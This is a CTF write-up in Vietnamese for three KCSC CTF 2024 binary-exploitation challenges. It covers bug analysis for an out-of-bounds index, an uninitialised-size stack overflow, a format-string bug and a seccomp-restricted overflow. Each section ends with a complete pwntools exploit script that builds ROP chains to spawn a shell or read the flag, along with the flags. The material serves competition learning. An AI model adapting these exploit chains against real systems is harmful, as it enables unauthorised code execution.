# (writeup) KCSC CTF 2024
## petshop
- basic file check

- check ida

>**main()**

>**buy()**

>**sell()**

>**info()**
### analyse
- chall có 3 chức năng chính **buy()** , **sell()** và **info()**
- ở hàm **buy()** có bug OOB khi không check khả năng âm của idx

> only check > 3
- tức ta có thể trỏ ngược lên phân vùng bss trên **dogs** hoặc **cats**

> với idx là -2 có thể leak được exe
- ở hàm **sell()** có bug khác là Stack Overflow khi không **memset()** thằng **n** cho size

>tức là **n** là stack
>sẽ còn giá trị rác
>khi ta thoả mãn **scanf** return False (đọc thất bại) nhưng không thay đổi giá trị nào trên stack
>với format "%d" (nhận gtri số), ta có thể bypass bằng cách nhập gtri khác (như byte 'a' hoặc byte enter '\x0a')
>bug nằm ở phép toán logic '&&'
>trong coding gọi là hiện tượng đoản mạch
>đk trái False thì không xét đk phải
>---> hàm if sẽ không nhảy vào
- trước khi quay lại hàm **buy()**, ta thấy stack cho nhập size là:
`int n; // [rsp+18h] [rbp-208h]`
- so sánh với buffer khi nhập name cho pets

>read 1024 ~ 0x400

> `char s[1037]; // [rsp+20h] [rbp-424h]`
- vậy hoàn toàn có thể set size cho **sell()** bằng cách padding lượng lớn khi nhập name ở **buy()**
- ở hàm **info()**, khi chọn option 'mine' sẽ leak value là con trỏ đang trỏ tới

>format "%s"
- tóm lại, có BOF ---> leak exe --> leak libc --> ret2libc
### get flag

- script:
```py
#!/usr/bin/python3
from pwn import *
exe = ELF('petshop_patched', checksec=False)
libc = ELF('libc-2.31.so', checksec=False)
context.binary = exe
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
b*buy+289
b*info+383
b*sell+245
c
''')
input()
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
if args.REMOTE:
p = remote('103.163.24.78',10001)
else:
p = process(exe.path)
def buy(pet, choice, name):
p.recvline()
sla(b'--> ',b'buy ' + pet + b' ' + str(choice).encode())
p.recvline()
sla(b'--> ',name)
p.recvline()
p.recvline()
def sell(index,size,reason):
p.recvline()
sla(b'--> ',b'sell ' + str(index).encode())
p.recvline()
p.recvline()
sla(b'--> ',size)
p.recvline()
sla(b'--> ',reason)
def show():
p.recvline()
sla(b'--> ',b'info mine')
p.recvline()
p.recvline()
# GDB()
idx = (exe.got.puts - exe.sym.cats)/8 +1
buy(b'cat',-2,b'a'*1023)
show()
p.recvuntil(b'1. ')
exe_leak = u64(p.recv(6)+b'\0\0')
exe.address = exe_leak - 0x4008
info("exe leak: " + hex(exe_leak))
info("exe base: " + hex(exe.address))
pop_rdi = exe.address + 0x0000000000001a13
payload = b'a'*0x209
payload += p64(pop_rdi) + p64(exe.got.puts)
payload += p64(exe.plt.puts) + p64(exe.sym.main)
sell(0,b'',payload)
p.recvuntil(b'reasonable!\n')
libc_leak = u64(p.recv(6)+b'\0\0')
libc.address = libc_leak - libc.sym.puts
info("libc leak: " + hex(libc_leak))
info("libc base:" + hex(libc.address))
payload = b'a'*0x209
payload += p64(pop_rdi) + p64(next(libc.search(b'/bin/sh\0')))
payload += p64(pop_rdi+1) + p64(libc.sym.system)
buy(b'cat',0,b'a'*1023)
sell(1,b'',payload)
p.interactive()
#KCSC{0h_n0_0ur_p3t_h4s_bug?!????????????????????}
```
>KCSC{0h_n0_0ur_p3t_h4s_bug?!????????????????????}
---
## kcsbank
- basic file check

- check ida

>**main()**
>2 chế độ: đã login và chưa login

>**general_action()** : chưa login
>có 2 option

>**login()**

>**reg()**

>**account_action()** : đã login
>có 3 option

>**deposit()**

>**withdraw()**

>**info()**
>dễ dàng thấy có bug fmtstr ở đây
### analyse
- vì có bug fmstr nên payload ta nằm ngay từ lúc **reg()** khi nhập full name
- tóm lại: ---> leak libc ---> leak stack ---> fmtstr ret2libc
> note: tui thử one_gadget nhưng không được
- một điều nữa là phải fmtstr thêm 1 cái ngay ret sau **main**
> chả biết nữa, lúc run thì thấy nếu fmtstr ở đó nó lại return stack kế tiếp =))))
> nếu không thì nó exit do libc như bình thường
### get flag

- script:
```py
#!/usr/bin/python3
from pwn import *
exe = ELF('./banking_patched', checksec=False)
libc = ELF('./libc.so.6',checksec=False)
context.binary = exe
def GDB(): #NOASLR
if not args.REMOTE:
gdb.attach(p, gdbscript='''
b*0x555555555656
#printf
b*0x55555555589f
#ret_main
c
''')
input()
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
if args.REMOTE:
p = remote('103.163.24.78',10002)
else:
p = process(exe.path)
def show():
sla(b'> ',b'3')
def reg(username,password,name):
sla(b'> ',b'2')
sla(b'username: ',username)
sla(b'password: ',password)
sla(b'name: ',name)
def login(username,password):
sla(b'> ',b'1')
sla(b'Username: ',username)
sla(b'Password: ',password)
def logout(feedback):
sla(b'> ',b'4')
sla(b'feedback: ',feedback)
GDB()
reg(b'a',b'b',b'%29$p|%6$p')
login(b'a',b'b')
show()
libc_leak = int(p.recvuntil(b'|',drop=True),16)
libc.address = libc_leak - libc.sym.puts - 506
info("libc leak: " + hex(libc_leak))
info("libc base: " + hex(libc.address))
stack_leak = int(p.recvuntil(b'\n',drop=True),16)
info("stack leak: " + hex(stack_leak))
system = libc.sym.system
binsh = next(libc.search(b'/bin/sh\0'))
pop_rdi = libc.address + 0x00000000000240e5
ret = stack_leak + 0x30
info("stack ret: " + hex(ret))
logout(b'hlaan')
#########################################
payload = f'%{(ret-8)&0xffff}c%10$hn'
reg(b'aaaa',b'dddd',payload)
login(b'aaaa',b'dddd')
show()
logout(b'hlaan')
payload = f'%{pop_rdi&0xffff}c%44$hn'
reg(b'abc',b'def',payload)
login(b'abc',b'def')
show()
logout(b'hlaan')
#########################################
chain = [pop_rdi,binsh,system]
for i in range(3):
for j in range(3):
payload = f'%{(ret+2*j+8*i)&0xffff}c%13$hn'
reg(b'c'*i,b'd'*i,payload)
login(b'c'*i,b'd'*i)
show()
logout(b'hlaan')
payload = f'%{(chain[i]>>16*j)&0xffff}c%40$hn'
reg(b'e'*i,b'f'*i,payload)
login(b'e'*i,b'f'*i)
show()
logout(b'hlaan')
show()
p.interactive()
#KCSC{st1ll_buff3r_0v3rfl0w_wh3n_h4s_c4n4ry?!?}
```
>KCSC{st1ll_buff3r_0v3rfl0w_wh3n_h4s_c4n4ry?!?}
---
## simple qiling
- basic file check

> nhìn z thôi chứ không phải z =)))
> do qiling nó NOASLR =))))
- check ida

>**main()**
### analyse
- thấy rõ là có bug BOF
- việc còn lại là ret2libc
### setup
```txt
python3 -m venv qilingenv
source qilingenv/bin/activate
git clone -b dev https://github.com/qilingframework/qiling.git
cd qiling && git submodule update --init --recursive
pip3 install .
https://docs.qiling.io/en/latest/install/
https://docs.qiling.io/en/latest/debugger/
https://docs.qiling.io/en/latest/qdb/
```
### ropchain
- đầu tiên ta cần debug trước lấy canary
- và phải active tool trước khi debug: `source qilingenv/bin/activate`

- thấy được là canary tĩnh
> 0x6161616161616100
- ngộ cái là khi leak thành công libc, return lại main nhưng setup tiếp ret2libc(pop_rdi->binsh->system) thì bị EOF
>sợ xmm nhưng thêm ret vẫn thể
- chuyển hướng qua execve (ret2syscall) nhưng vẫn tịt
- quên là có setup 1 func seccomp lại

- nên còn 1 phương án cuối hơi quằn là ORW =))))
- nếu set path flag.txt (call read 1 lần nữa đưa flag.txt vào rw_section) ở payload thứ 2 thì quá dài (hơn 0x100 byte) nên sẽ set ở payload thứ 1
> hên exe có gadget rsi
### get flag

- debug:
```py
#!/usr/bin/env python3
# import qiling
from qiling import Qiling
from qiling.const import QL_VERBOSE
import sys
#0x5555555553e4
if __name__ == '__main__':
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <ELF>")
sys.exit(1)
cmd = [sys.argv[1]]
# ql = qiling.Qiling(cmd, console=False, rootfs='.')
ql = Qiling(cmd, console=False, rootfs='.', verbose=QL_VERBOSE.DEBUG)
ql.debugger = 'qdb'
ql.run()
```
- script:
```py
#!/usr/bin/env python3
from pwn import *
from qiling import *
exe = ELF("./simpleqiling_patched")
libc = ELF("./libc-2.31.so")
ld = ELF("./ld-2.31.so")
context.binary = exe
# p = process(exe.path)
p = remote('103.163.24.78',10010)
p.recvline()
exe.address = 0x555555554000
pop_rdi = exe.address + 0x0000000000001473
main = exe.address + 0x1314
pop_rsi_r15 = exe.address + 0x0000000000001471
rw_section = 0x555555558a00
payload = b'a'*0x28
payload += p64(0x6161616161616100)
payload += b'a'*8
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(rw_section+0x200) + p64(0)
payload += p64(exe.plt.read)
payload += p64(pop_rdi) + p64(exe.got.puts)
payload += p64(exe.plt.puts) + p64(main)
p.send(payload)
p.send(b'flag.txt\0')
libc_leak = u64(p.recv(6)+b'\0\0')
libc.address = libc_leak - libc.sym.puts
log.info("libc leak: " + hex(libc_leak))
log.info("libc base: " + hex(libc.address))
p.recvline()
pop_rdi = libc.address + 0x0000000000023b6a
pop_rsi = libc.address + 0x000000000002601f
pop_rdx = libc.address + 0x0000000000142c92
pop_rax = libc.address + 0x0000000000036174
syscall = libc.address + 0x000000000002284d
# payload = b'a'*0x28
# payload += p64(0x6161616161616100)
# payload += b'a'*8
# payload += p64(pop_rdi) + p64(next(libc.search(b'/bin/sh\0')))
# # payload += p64(pop_rdi+1)
# payload += p64(libc.sym.system)
# payload = b'a'*0x28
# payload += p64(0x6161616161616100)
# payload += b'a'*8
# payload += p64(pop_rdi) + p64(next(libc.search(b'/bin/sh\0')))
# payload += p64(pop_rsi) + p64(0)
# payload += p64(pop_rdx) + p64(0)
# payload += p64(pop_rax) + p64(0x3b)
# payload += p64(syscall)
payload = b'a'*0x28
payload += p64(0x6161616161616100)
payload += b'a'*8
payload += p64(pop_rdi) + p64(rw_section+0x200)
payload += p64(pop_rdx) + p64(0)
payload += p64(pop_rsi) + p64(0)
payload += p64(libc.sym.open)
payload += p64(pop_rdi) + p64(3)
payload += p64(pop_rsi) + p64(rw_section)
payload += p64(pop_rdx) + p64(0x100)
payload += p64(libc.sym.read)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi) + p64(rw_section)
payload += p64(pop_rdx) + p64(0x100)
payload += p64(libc.sym.write)
p.send(payload)
p.interactive()
#KCSC{q3mu_vs_q1l1ng_wh1ch_1_1s_b3tt3r}
```
>KCSC{q3mu_vs_q1l1ng_wh1ch_1_1s_b3tt3r}
---